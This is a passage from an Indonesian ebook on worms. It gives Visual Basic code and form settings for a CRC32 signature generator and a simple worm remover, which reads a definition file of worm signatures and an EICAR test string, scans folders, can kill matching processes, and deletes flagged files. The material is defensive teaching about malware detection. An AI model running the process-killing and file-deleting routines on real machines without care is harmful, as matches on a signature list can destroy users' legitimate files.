ToolTipText Variable Name Memberi ToolTipText pada object

Top 2280 Mengatur jarak TextBox dari atas

Width 1335 Mengatur lebar TextBox

Properti object Check1

Jenis Nilai KeteranganName chkDes Mengatur nama CheckBox menjadi chkDes

Caption Description Mengatur caption CheckBox menjadi Descrip-tion

Height 255 Mengatur tinggi CheckBox

Left 120 Mengatur jarak CheckBox dari kiri

Top 2280 Mengatur jarak CheckBox dari atas

Value 1 - Checked Mengatur nilai default CheckBox menjadi terseleksi

Width 1575 Mengatur lebar CheckBox

Page 112: Computer Worm 2-eBook

101Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Properti UserControl1

Jenis Nilai KeteranganName CRC Mengatur nama dari UserControl menjadi

CRC

Height 360 Mengatur tinggi UserControl

InvisibleAtRuntime True Tidak terlihat saat run-time

Width 480 Mengatur lebar UserControl

Untuk UserControl CRC Anda bisa menggunakan UserControl yang sama pada WSar Infector Removal (CRC32), kemudian tambahkan 1 object CRC dari UserControl tersebut.

Terakhir ketik kode program berikut ini pada object frmCheck:

'CRC32 Generator by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit OnPrivate Sub cmdCopy_Click() Clipboard.Clear() Clipboard.SetText(txtScript)End Sub

Private Sub cmdGen_Click() Dim MyPath As String Dim i As Integer lblWait.Visible = True If File1.ListCount < 1 Then Exit Sub MyPath = Dir1.Path If Right(MyPath, 1) <> "\" Then MyPath = Dir1.Path & "\" End If txtScript.Text = "Dim " & txtVar & "(" & File1.ListCount & _ ") As String" For i = 0 To File1.ListCount - 1 DoEvents() txtScript.Text = txtScript.Text & vbCrLf & txtVar & "(" & i & _ ") = " & Chr(34) & CRC1.FromFile(MyPath & File1.List(i)) & _ Chr(34) If chkDes.Value = Checked Then txtScript.Text = txtScript.Text & " '" & File1.List(i) End If Next txtScript.Text = txtScript.Text & vbCrLf & txtList & ".Clear" txtScript.Text = txtScript.Text & vbCrLf & "Dim i As Integer" txtScript.Text = txtScript.Text & vbCrLf & "For i = 0 to " & _ File1.ListCount - 1 txtScript.Text = txtScript.Text & vbCrLf & txtList & ".AddItem (" _ & txtVar & "(i))" txtScript.Text = txtScript.Text & vbCrLf & "Next i" lblWait.Visible = FalseEnd Sub

Page 113: Computer Worm 2-eBook

102Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Private Sub Dir1_Change() File1.Path = Dir1.Path If File1.ListCount > 0 Then cmdGen.Enabled = True Else cmdGen.Enabled = False End IfEnd Sub

Private Sub Drive1_Change() Dir1 = Drive1End Sub

Private Sub File1_Click() On Error Resume Next Dim MyPath As String If File1.ListCount < 1 Then Exit Sub MyPath = Dir1.Path If Right(MyPath, 1) <> "\" Then MyPath = Dir1.Path & "\" End If txtCRC.Text = CRC1.FromFile(MyPath & File1.FileName)End Sub

Private Sub Form_Load() If File1.ListCount > 0 Then cmdGen.Enabled = TrueEnd Sub

Tampilan program CRC Generator saat diek-sekusi.

Page 114: Computer Worm 2-eBook

103Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

BAB 3DEFINITION FILE

Kenapa bab ini ada?

Dari bab sebelumnya, kita sudah belajar untuk membuat program removal yang sederhana, namun program removal tersebut harus dikompilasi ulang jika kita ingin menambahkan data signature yang baru. Pada bab ini penulis akan memberikan contoh kepada Anda teknik sederhana menggunakan definition file dan tentunya bisa di update sewaktu-waktu tanpa harus mengkompilasi ulang program removal.

Page 115: Computer Worm 2-eBook

104Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Definition file adalah suatu file yang memuat kumpulan data signature dari malicious code tertentu. Definition file umumnya digunakan oleh aplikasi-aplikasi antivirus professional, hanya saja karena aplikasi tersebut kebanyakan adalah aplikasi komersial, maka definition file yang digunakan tentunya terlebih dahulu telah dienkripsi dengan sangat baik.

Bentuk umum definition file yang akan digunakan pada contoh pro-gram removal kali ini adalah:

Baris Pertama:

[Maximum Size];[End Process Mode];[WildCards]

Baris Selanjutnya:

[Worm Name];[Signature Mode];[Signature]

[Worm Name];[Signature Mode];[Signature]

dan seterusnya …

; : parameter (simbol/tanda pemisah)

Maximum Size : besar file maksimum dalam byte, untuk mem-percepat proses scanning jika ukuran file lebih besar dari Maximum Size maka proses scanning akan dilewatkan untuk file tersebut.

End Process Mode

: memiliki 2 jenis nilai yaitu "AUTO" untuk secara otomatis menghentikan proses worm yang ditemukan saat proses scanning, dan "MANUAL" untuk menghentikan proses worm jika user menghapus file tersebut.

Page 116: Computer Worm 2-eBook

105Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

WildCards : untuk mempercepat proses scanning, penulis menambahkan mode wildcards, scanning hanya berlaku untuk pola nama file yang sesuai dengan pola pada wildcards, sebagai contoh jika worm pada definition file hanya menggunakan ekstensi ".exe" maka scanning akan lebih cepat dengan mengatur wildcards menjadi "*.exe" daripada "*.*".

Worm Name : memberi nama pada worm.

Signature Mode : memiliki 3 jenis nilai yaitu "NAM" untuk jenis signature nama file atau pola nama (wildcards), "STR" untuk jenis signature String dan "CRC" untuk jenis signature CRC32.

Signature : memberi nilai data signature sesuai dengan Signature Mode yang digunakan.

Sebagai contoh, berikut ini adalah definition file yang berisi data signa-ture dari worm sebelumnya dan akan digunakan pada contoh program removal.

50000;MANUAL;*.exeWSar.1;CRC; 9C6891DDWSar.2;CRC; 911CF017WSar.3;CRC;6B9ADCB3WSar.4;CRC;1845C0A1WSar.5;CRC;7F4F764AWSar.6;CRC;F51FEA46WSar.7;CRC;271DF9CWSar.8;STR;F2927FE40253504F4F4CWSar.9;CRC;DA785663

Simpan data tersebut diatas dengan nama file 'scan.dat’. Berikut ini penulis akan memberikan contoh program removal sederhana yang akan menggunakan definition file.

Page 117: Computer Worm 2-eBook

106Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

3.1 ALGORITMA1. Jika pengguna mengklik tombol Scan maka program melakukan

pemeriksaan terhadap semua file berekstensi tertentu pada drive dan direktori yang ditentukan oleh pengguna. Proses scanning dapat sewaktu-waktu dihentikan pengguna dengan mengklik tom-bol Stop

2. Jika file yang terperiksa memiliki nilai penanda yang sama pada data signature, maka path dan nama file tersebut di tambahkan pada sebuah ListBox

3. Pengguna dapat menghapus file yang ada pada ListBox dengan mengklik ganda nama file tersebut pada ListBox atau menyeleksi file-file yang akan dihapus kemudian mengklik tombol Delete

4. Pengguna dapat mengedit definition file yang secara default berada pada path yang sama dengan program removal, dengan nama file 'scan.dat’

5. Pengguna dapat menyimpan laporan hasil scanning dalam bentuk file text.

3.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'SimpleWormRemover’, dan Application Title menjadi 'Simple Worm Remover’, kemudian tambahkan 3 buah object form, 5 buah Module dan 1 buah UserControl, kemudian atur properti untuk masing-masing object sebagai berikut:

Properti UserControl1

Jenis Nilai KeteranganName CRC Mengatur nama UserControl menjadi CRC

Height 360 Mengatur tinggi UserControl

InvisibleAtRuntime True Tidak terlihat saat run-time

Width 480 Mengatur lebar UserControl

Page 118: Computer Worm 2-eBook

107Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Properti Module1

Jenis Nilai KeteranganName mdlBrowseFolder Mengatur nama module menjadi mdl-

BrowseFolder

Properti Module2

Jenis Nilai KeteranganName mdlFindFile Mengatur nama module menjadi mdlFindFile

Properti Module3

Jenis Nilai KeteranganName mdlGetName Mengatur nama module menjadi mdlGetName

Properti Module4

Jenis Nilai KeteranganName mdlParse Mengatur nama module menjadi mdlParse

Properti Module5

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Untuk UserControl CRC Anda bisa menggunakan UserControl yang sama pada WSar Infector Removal (CRC32), untuk module mdlBrowse-Folder menggunakan module yang sama pada WSar Infector Removal (Name), dan module mdlWinExit menggunakan module yang sama pada WSar.6, kemudian ketik kode program berikut ini pada module mdlFindFile:

Page 119: Computer Worm 2-eBook

108Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Option Explicit OnGlobal StopIt As Boolean

Public Function FindFiles(ByVal MyPath As String, ByVal MyWild As _String,ByVal SignName As ListBox, ByVal SignType As ListBox, ByVal _Signature As ListBox, ByVal SizeLimit As Long, ByVal ScMode As String, _ByVal MyCRC As CRC, ByVal MyList As ListBox, ByVal NameList As _ListBox, ByVal MyLabel As Label, ByVal MyLog As TextBox) Dim Filename As String Dim DirName As String Dim dirNames() As String Dim nDir As Integer Dim i As Integer On Error GoTo FileERR If StopIt = True Then GoTo FileERR If Len(MyPath) = 0 Then Exit Function If Right(MyPath, 1) <> "\" Then MyPath = MyPath & "\" nDir = 0 ReDim dirNames(nDir) DirName = Dir(MyPath, vbDirectory Or vbHidden) Do While Len(DirName) > 0 If (DirName <> ".") And (DirName <> "..") Then If GetAttr(MyPath & DirName) = vbDirectory Or vbHidden Or _ vbReadOnly Or vbSystem Then dirNames(nDir) = DirName nDir = nDir + 1 ReDim Preserve dirNames(nDir) End If End If DirName = Dir() Loop Filename = Dir(MyPath & MyWild, vbNormal Or vbHidden Or _ vbReadOnly) Do While Len(Filename) <> 0 If StopIt = True Then GoTo FileERR FindFiles = FindFiles + FileLen(MyPath & Filename) MyLabel.Caption = MyPath & Filename DoEvents() If FileLen(MyPath & Filename) > SizeLimit Then GoTo limitz For i = 0 To Signature.ListCount - 1 Select Case SignType.List(i) '========== Check CRC ============ Case Is = "CRC" If MyCRC.FromFile(MyPath & Filename) = Signature. _ List(i) Then If ScMode = "AUTO" Then WinExit(Filename) MyList.AddItem(MyPath & Filename) NameList.AddItem("File " & Filename & _ ", detected as: " & _ SignName.List(i)) MyLog.Text = MyLog.Text & MyPath & Filename _ & " ==> " & " detected as: " & _ SignName.List(i) & vbCrLf End If

Page 120: Computer Worm 2-eBook

109Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

'========== Check String ============ Case Is = "STR" If StrCheck(MyPath & Filename, hex2ascii _ (Signature.List(i))) = _ True Then If ScMode = "AUTO" Then WinExit(Filename) MyList.AddItem(MyPath & Filename) NameList.AddItem("File " & Filename & _ ", detected as: " & SignName.List(i)) MyLog.Text = MyLog.Text & MyPath & Filename _ & " ==> " & " detected as: " & _ SignName.List(i) & vbCrLf End If '========== Check Name ============ Case Is = "NAM" If Filename Like Signature.List(i) Then If ScMode = "AUTO" Then WinExit(Filename) MyList.AddItem(MyPath & Filename) NameList.AddItem("File " & Filename & _ ", detected as: " & SignName.List(i)) MyLog.Text = MyLog.Text & MyPath & Filename _ & " ==> " & " detected as: " & _ SignName.List(i) & vbCrLf End If End Select Next i

limitz: Filename = Dir() Loop If nDir > 0 Then For i = 0 To nDir - 1 FindFiles = FindFiles + FindFiles(MyPath & dirNames(i) & "\", _ MyWild, SignName, SignType, Signature, SizeLimit, ScMode, _ MyCRC, MyList, NameList, MyLabel, MyLog) Next i End IfFileERR:End Function

Function StrCheck(ByVal MyPath As String, ByVal StrText As String) As _Boolean On Error Resume Next Dim filedata As String Dim a As IntegerOpen MyPath For Binary As #1 filedata = Space$(LOF(1))Get #1, , filedata If InStr(1, filedata, StrText) > 0 Then StrCheck = True Else StrCheck = False End IfClose #1End Function

Page 121: Computer Worm 2-eBook

110Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Public Function hex2ascii(ByVal hextext As String) As String On Error Resume Next Dim Y As Integer Dim num As String Dim Value As String For Y = 1 To Len(hextext) num = Mid(hextext, Y, 2) Value = Value & Chr(Val("&h" & num)) Y = Y + 1 Next Y hex2ascii = ValueEnd Function

Ketik kode program berikut ini pada module mdlGetName:

Option Explicit On

Private Function getRight(ByVal Key As String, ByVal length As Long) As _String Dim NumChar As Long, i As Long NumChar = Len(Key) For i = 1 To length NumChar = InStrRev(Key, "\", NumChar - 1) If NumChar = 0 Then Exit For Next i getRight = Right$(Key, Len(Key) - NumChar)End Function

Private Function StrCount(ByVal stSource As String, ByVal subST1 As _ String) As Long Dim pos As Long Dim iCount As Long pos = 1 Do pos = pos + Len(subST1) pos = InStr(pos, stSource, subST1) If pos > 0 Then iCount = iCount + 1 End If Loop While pos > 0 StrCount = iCountEnd Function

Public Function GetFileName(ByVal Path As String, ByVal Extension As _ Boolean) As String Dim NumChar As Long GetFileName = getRight(Path, 1) If Not Extension Then NumChar = InStrRev(GetFileName, ".") If NumChar <> 0 Then GetFileName = Left(GetFileName, NumChar - 1) End If End IfEnd Function

Page 122: Computer Worm 2-eBook

111Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Ketik kode program berikut ini pada module mdlParse:

Option Explicit On

Public Function Parse(ByVal Filename As String, Optional ByVal delimiter _As String = vbTab) As Object() Dim lines() As String, i As Long lines() = Split(OpFile(Filename), vbCrLf) For i = 0 To UBound(lines) If Len(lines(i)) = 0 Then lines(i) = vbNullChar Next lines() = Filter(lines(), vbNullChar, False)ReDim DatFile(0 To UBound(lines)) As Variant For i = 0 To UBound(lines) DatFile(i) = Split(lines(i), delimiter) Next Parse = DatFile()End Function

Private Function OpFile(ByVal Filename As String) As String Dim fnum As Integer, isOpen As Boolean On Error GoTo Error_Handler fnum = FreeFile()Open Filename For Input As #fnum isOpen = True OpFile = Input(LOF(fnum), fnum)Error_Handler:If isOpen Then Close #fnum If Err Then Err.Raise(Err.Number, , Err.Description)End Function

Module mdlFindFile berisi function FindFiles, function ini memiliki sintaksis sebagai berikut:

FindFiles MyPath, MyWild, SignName, SignType, Signature, SizeLimit, _ ScMode, MyCRC, MyList, NameList, MyLabel, MyLog

Function FindFiles melakukan pencarian pada drive dan direktori yang ada pada variabel MyPath. Pencarian dilakukan untuk nama file yang ada pada variabel MyWild.

Jika file yang dicari sehubungan dengan variabel MyWild tadi ditemu-kan maka file-file yang ditemukan tersebut dicocokan dengan setiap nilai signature yang ada pada variabel signature dan harus sesuai dengan tipe signature yang ada pada variabel SignType.

Page 123: Computer Worm 2-eBook

112Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Jika file yang ditemukan ternyata memiliki salah satu dari nilai signature maka file tersebut ditambahkan pada ListBox yang berkaitan dengan variabel MyList, menambahkan teks pada variabel NameList "File WormFile, detected as: WormName", dimana WormFile adalah path file terperiksa dan WormName adalah nama worm yang ada pada ListBox NameList dan cocok dengan kriteria file terperiksa.

Teks serupa dengan menggunakan path penuh juga ditambahkan pada TextBox MyLog, namun sebelumnya setiap file yang diperiksa hanya dilewatkan jika berukuran lebih besar dari nilai yang terkandung pada variabel SizeLimit dan setiap file yang diperiksa ditampilkan pada Label yang berkaitan dengan variabel MyLabel.

Module mdlGetName memiliki fungsi utama untuk mendapatkan nama file dari suatu alamat penuh, dan module mdlParse memiliki fungsi utama untuk memilah baris data berdasarkan suatu tanda pe-misah tertentu.

3.2.1 FORM1Tambahkan 1 buah object CommonDialog dengan cara:

1. Klik Project pada menubar, kemudian pilih Components (atau dengan menekan kombinasi tombol Ctrl+T)

2. Pada tab Controls, beri seleksi pada opsi Microsoft Comon Dialog Control 6.0, dan klik OK untuk menampilkannya pada toolbox

3. Klik dua kali pada icon CommonDialog pada toolbox untuk me-nambahkannya pada bidang form.

Setelah itu tambahkan 3 buah object CommandButton dan 1 buah object TextBox kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Properti object Form1

Jenis Nilai KeteranganName frmLog Mengatur nama form menjadi frmLog

BackColor &H00E0E0E0& Mengatur warna latar belakang menjadi abu-abu muda

Page 124: Computer Worm 2-eBook

113Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Caption Report Mengatur titel yang akan ditampilkan pada form

ControlBox False Menyembunyikan kotak control

Height 4110 Mengatur tinggi form

Width 4785 Mengatur lebar form

Properti object CommonDialog1

Jenis Nilai KeteranganName CD1 Mengatur nama CommonDialog menjadi CD1

Left 120 Mengatur jarak CommonDialog dari kiri

Top 3120 Mengatur jarak CommonDialog dari atas

Properti object Command1

Jenis Nilai KeteranganName cmdClose Mengatur nama CommandButton menjadi cmd-

Close

Caption Close Mengatur caption CommandButton menjadi Close

Height 375 Mengatur tinggi CommandButton

Left 3600 Mengatur jarak CommandButton dari kiri

Top 3120 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Command2

Jenis Nilai KeteranganName cmdSave Mengatur nama CommandButton menjadi cmd-

Save

Caption Save Mengatur caption CommandButton menjadi Save

Height 375 Mengatur tinggi CommandButton

Left 2620 Mengatur jarak CommandButton dari kiri

Top 3120 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Page 125: Computer Worm 2-eBook

114Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Properti object Command3

Jenis Nilai KeteranganName cmdClear Mengatur nama CommandButton menjadi cmd-

Clear

Caption Clear Mengatur caption CommandButton menjadi Clear

Height 375 Mengatur tinggi CommandButton

Left 1650 Mengatur jarak CommandButton dari kiri

Top 3120 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Text1

Jenis Nilai KeteranganName txtLog Mengatur nama TextBox menjadi txtLog

ForeColor &H00FF0000& Mengatur warna huruf menjadi biru

Height 2895 Mengatur tinggi TextBox

Left 120 Mengatur jarak TextBox dari kiri

Locked True Tidak mengijinkan perubahan secara manual

MultiLine True Mengijinkan TextBox menggunakan lebih dari 1 baris.

ScrollBars 3 - Both Mengatur mode ScrollBar menjadi hori-zontal dan vertical

Text Dikosongkan

Top 3120 Mengatur jarak TextBox dari atas

Width 1095 Mengatur lebar TextBox

Ketik kode program berikut ini pada object frmLog:

Page 126: Computer Worm 2-eBook

115Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Option Explicit On

Private Sub cmdClear_Click() txtLog.Text = ""End Sub

Private Sub cmdClose_Click() Me.Hide()End Sub

Private Sub cmdSave_Click() On Error GoTo akhir Dim Filename As String Dim f As Integer If Len(txtLog.Text) < 1 Then GoTo akhir CD1.Filter = "Text Documents (*.txt)|*.txt" CD1.ShowSave() Filename = CD1.Filename If Len(Dir(Filename)) > 0 Then If MsgBox("File already exist, replace it?", vbYesNo + vbQuestion) _ = vbNo Then GoTo akhir End If f = FreeFile Open Filename For Output As #f Print #f, txtLog.Text Close #fakhir:End Sub

Private Sub Form_Resize() On Error Resume Next If Me.Width < 4800 Then Me.Width = 4800 If Me.Height < 4095 Then Me.Height = 4095 txtLog.Width = Me.Width - 345 : txtLog.Height = Me.Height - 1200 cmdClose.Top = txtLog.Height + 225 : cmdClose.Left = Me.Width _ - 1200 cmdSave.Top = cmdClose.Top : cmdSave.Left = cmdClose.Left - 980 cmdClear.Top = cmdClose.Top : cmdClear.Left = cmdSave.Left - 980End Sub

Berikut penjelasan tentang kode program:

Procedure cmdClear_Click aktif saat user mengklik tombol Clear pada form, dengan mengosongkan Text pada txtLog.

Procedure cmdClose_Click aktif saat user mengklik tombol Close pada form, dengan menyembunyikan form frmLog.

Procedure cmdSave_Click aktif saat user mengklik tombol Save pada form, dengan menampilkan kotak dialog Save As kemudian menyim-pan semua Text pada txtLog dengan nama yang telah user tentukan pada kotak dialog Save As.

Page 127: Computer Worm 2-eBook

116Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Procedure Form_Resize aktif saat user melakukan perubahan size pada form. Procedure ini bertujuan untuk mensinkronkan ukuran dan letak TextBox serta CommandButton yang ada pada form saat ukuran form berubah.

3.2.2 FORM2Tambahkan 3 buah object Shape, 3 buah object ComboBox, 5 buah object CommandButton, 6 buah object Label, 3 buah object ListBox dan 3 buah object TextBox, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Properti object Form2

Jenis Nilai KeteranganName frmSignature Mengatur nama form menjadi

frmSignature

BackColor &H00E0E0E0& Mengatur warna latar belakang menjadi abu-abu muda

BorderStyle Fixed Single Mengatur jenis border form menjadi tetap

Caption Signature Editor Mengatur titel yang akan ditampilkan pada form

ControlBox False Menyembunyikan kotak control

Height 5295 Mengatur tinggi form

MaxButton False Tidak mengaktifkan tombol maximize

MinButton False Tidak mengaktifkan tombol minimize

Width 6210 Mengatur lebar form

Properti object Shape1

Jenis Nilai KeteranganHeight 2655 Mengatur tinggi Shape

Left 120 Mengatur jarak Shape dari kiri

Shape 0 - Rectangle Mengatur bentuk Shape

Top 240 Mengatur jarak Shape dari atas

Width 5895 Mengatur lebar Shape

Page 128: Computer Worm 2-eBook

117Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Properti object Shape2

Jenis Nilai KeteranganHeight 1215 Mengatur tinggi Shape

Left 120 Mengatur jarak Shape dari kiri

Shape 0 - Rectangle Mengatur bentuk Shape

Top 3000 Mengatur jarak Shape dari atas

Width 2295 Mengatur lebar Shape

Properti object Shape3

Jenis Nilai KeteranganHeight 1215 Mengatur tinggi Shape

Left 2520 Mengatur jarak Shape dari kiri

Shape 0 - Rectangle Mengatur bentuk Shape

Top 3000 Mengatur jarak Shape dari atas

Width 3495 Mengatur lebar Shape

Properti object Combo1

Jenis Nilai KeteranganName cmbProc Mengatur nama ComboBox menjadi cmbProc

Height 315 Mengatur tinggi ComboBox

Left 1200 Mengatur jarak ComboBox dari kiri

List AUTOMANUAL

Mengatur 2 nilai default

Top 3480 Mengatur jarak ComboBox dari atas

Width 1095 Mengatur lebar ComboBox

Properti object Combo2

Jenis Nilai KeteranganName cmbWild Mengatur nama ComboBox menjadi cmbWild

Height 315 Mengatur tinggi ComboBox

Left 1200 Mengatur jarak ComboBox dari kiri

Page 129: Computer Worm 2-eBook

118Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

List *.exe*.com*.vbs*.bat*.scr*.*

Mengatur 6 nilai default

Top 3840 Mengatur jarak ComboBox dari atas

Width 1095 Mengatur lebar ComboBox

Properti object Combo3

Jenis Nilai KeteranganName cmbType Mengatur nama ComboBox menjadi cmbType

Height 315 Mengatur tinggi ComboBox

Left 3600 Mengatur jarak ComboBox dari kiri

List NAMSTRCRC

Mengatur 3 nilai default

Top 3480 Mengatur jarak ComboBox dari atas

Width 855 Mengatur lebar ComboBox

Properti object Command1

Jenis Nilai KeteranganName cmdEdit Mengatur nama CommandButton menjadi cmdEdit

Caption Edit Mengatur caption CommandButton menjadi Edit

Height 375 Mengatur tinggi CommandButton

Left 120 Mengatur jarak CommandButton dari kiri

Top 4320 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Page 130: Computer Worm 2-eBook

119Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Properti object Command2

Jenis Nilai KeteranganName cmdApply Mengatur nama CommandButton menjadi cmdAp-

ply

Caption Apply Mengatur caption CommandButton menjadi Apply

Height 375 Mengatur tinggi CommandButton

Left 1090 Mengatur jarak CommandButton dari kiri

Top 4320 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Command3

Jenis Nilai KeteranganName cmdDelete Mengatur nama CommandButton menjadi

cmdDelete

Caption Delete Mengatur caption CommandButton menjadi Delete

Height 375 Mengatur tinggi CommandButton

Left 2070 Mengatur jarak CommandButton dari kiri

Top 4320 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Command4

Jenis Nilai KeteranganName cmdAdd Mengatur nama CommandButton menjadi

cmdAdd

Caption Add Mengatur caption CommandButton menjadi Add

Height 375 Mengatur tinggi CommandButton

Left 3045 Mengatur jarak CommandButton dari kiri

Top 4320 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Page 131: Computer Worm 2-eBook

120Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Properti object Command5

Jenis Nilai KeteranganName cmdClose Mengatur nama CommandButton menjadi

cmdClose

Caption Close Mengatur caption CommandButton Command5 menjadi Close

Height 375 Mengatur tinggi CommandButton

Left 5040 Mengatur jarak CommandButton dari kiri

Top 4320 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Label1

Jenis Nilai KeteranganBackStyle Transparent Mengatur jenis latar belakang menjadi

transparan

Caption Size Limit Mengatur caption Label menjadi Size Limit

Height 255 Mengatur tinggi Label

Left 240 Mengatur jarak Label dari kiri

Top 3120 Mengatur jarak Label dari atas

Width 855 Mengatur lebar Label

Properti object Label2

Jenis Nilai KeteranganBackStyle Transparent Mengatur jenis latar belakang menjadi

transparan

Caption Kill Process Mengatur caption Label menjadi Kill Process

Height 255 Mengatur tinggi Label

Left 240 Mengatur jarak Label dari kiri

Top 3480 Mengatur jarak Label dari atas

Width 855 Mengatur lebar Label

Page 132: Computer Worm 2-eBook

121Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Properti object Label3

Jenis Nilai KeteranganBackStyle Transparent Mengatur jenis latar belakang menjadi

transparan

Caption Wildcards Mengatur caption Label menjadi Wildcards

Height 255 Mengatur tinggi Label

Left 240 Mengatur jarak Label dari kiri

Top 3840 Mengatur jarak Label dari atas

Width 855 Mengatur lebar Label

Properti object Label4

Jenis Nilai KeteranganBackStyle Transparent Mengatur jenis latar belakang menjadi

transparan

Caption Name Mengatur caption Label menjadi Name

Height 255 Mengatur tinggi Label

Left 2640 Mengatur jarak Label dari kiri

Top 3120 Mengatur jarak Label dari atas

Width 855 Mengatur lebar Label

Properti object Label5

Jenis Nilai KeteranganBackStyle Transparent Mengatur jenis latar belakang menjadi

transparan

Caption Type Sign Mengatur caption Label menjadi Type Sign

Height 255 Mengatur tinggi Label

Left 2640 Mengatur jarak Label dari kiri

Top 3480 Mengatur jarak Label dari atas

Width 855 Mengatur lebar Label

Page 133: Computer Worm 2-eBook

122Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Properti object Label6

Jenis Nilai KeteranganBackStyle Transparent Mengatur jenis latar belakang menjadi

transparan

Caption Signature Mengatur caption Label menjadi Signature

Height 255 Mengatur tinggi Label

Left 2640 Mengatur jarak Label dari kiri

Top 3840 Mengatur jarak Label dari atas

Width 855 Mengatur lebar Label

Properti object List1

Jenis Nilai KeteranganName lstName Mengatur nama ListBox menjadi lstName

Height 2400 Mengatur tinggi ListBox

Left 240 Mengatur jarak ListBox dari kiri

Top 360 Mengatur jarak ListBox dari atas

Width 1695 Mengatur lebar ListBox

Properti object List2

Jenis Nilai KeteranganName lstType Mengatur nama ListBox menjadi lstType

Enabled False Menonaktifkan ListBox saat run-time

Height 2400 Mengatur tinggi ListBox

Left 2040 Mengatur jarak ListBox dari kiri

Top 360 Mengatur jarak ListBox dari atas

Width 735 Mengatur lebar ListBox

Page 134: Computer Worm 2-eBook

123Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Properti object List3

Jenis Nilai KeteranganName lstSign Mengatur nama ListBox menjadi lstSign

Enabled False Menonaktifkan ListBox saat run-time

Height 2400 Mengatur tinggi ListBox

Left 2880 Mengatur jarak ListBox dari kiri

Top 360 Mengatur jarak ListBox dari atas

Width 3015 Mengatur lebar ListBox

Properti object Text1

Jenis Nilai KeteranganName txtSize Mengatur nama TextBox menjadi txtSize

Height 285 Mengatur tinggi TextBox

Left 1200 Mengatur jarak TextBox dari kiri

Text Dikosongkan

Top 3120 Mengatur jarak TextBox dari atas

Width 1095 Mengatur lebar TextBox

Properti object Text2

Jenis Nilai KeteranganName txtName Mengatur nama TextBox menjadi txtName

Height 285 Mengatur tinggi TextBox

Left 3600 Mengatur jarak TextBox dari kiri

Text Dikosongkan

Top 3120 Mengatur jarak TextBox dari atas

Width 2295 Mengatur lebar TextBox

Page 135: Computer Worm 2-eBook

124Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Properti object Text2

Jenis Nilai KeteranganName txtSign Mengatur nama TextBox menjadi txtSign

Height 285 Mengatur tinggi TextBox

Left 3600 Mengatur jarak TextBox dari kiri

Text Dikosongkan

Top 3840 Mengatur jarak TextBox dari atas

Width 2295 Mengatur lebar TextBox

Ketik kode program berikut ini pada object frmSignature:

Option Explicit OnDim NoUrut As Long

Private Sub Form_Load() On Error Resume Next Dim DatFile() As Object Dim i As Long Dim f As Integer NoUrut = -1start: DatFile() = Parse(App.Path & "\scan.dat", ";") If Len(DatFile(1)(0)) = 0 Then f = FreeFileOpen App.Path & "\scan.dat" For Output As #fPrint #f, "50000;MANUAL;*.*"Print #f, "GenericWorm;NAM;*.*.exe"Print #f, "EICAR;STR;50254041505B345C505A"Close #f GoTo start End If txtSize.Text = DatFile(0)(0) cmbProc.Text = DatFile(0)(1) cmbWild.Text = DatFile(0)(2) For i = 1 To UBound(DatFile) lstName.AddItem(DatFile(i)(0)) lstType.AddItem(DatFile(i)(1)) lstSign.AddItem(DatFile(i)(2)) NextEnd Sub

Private Sub cmdEdit_Click() On Error Resume Next NoUrut = lstName.ListIndex txtName.Text = lstName.List(NoUrut) cmbType.Text = lstType.List(NoUrut) txtSign.Text = lstSign.List(NoUrut)End Sub

Page 136: Computer Worm 2-eBook

125Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

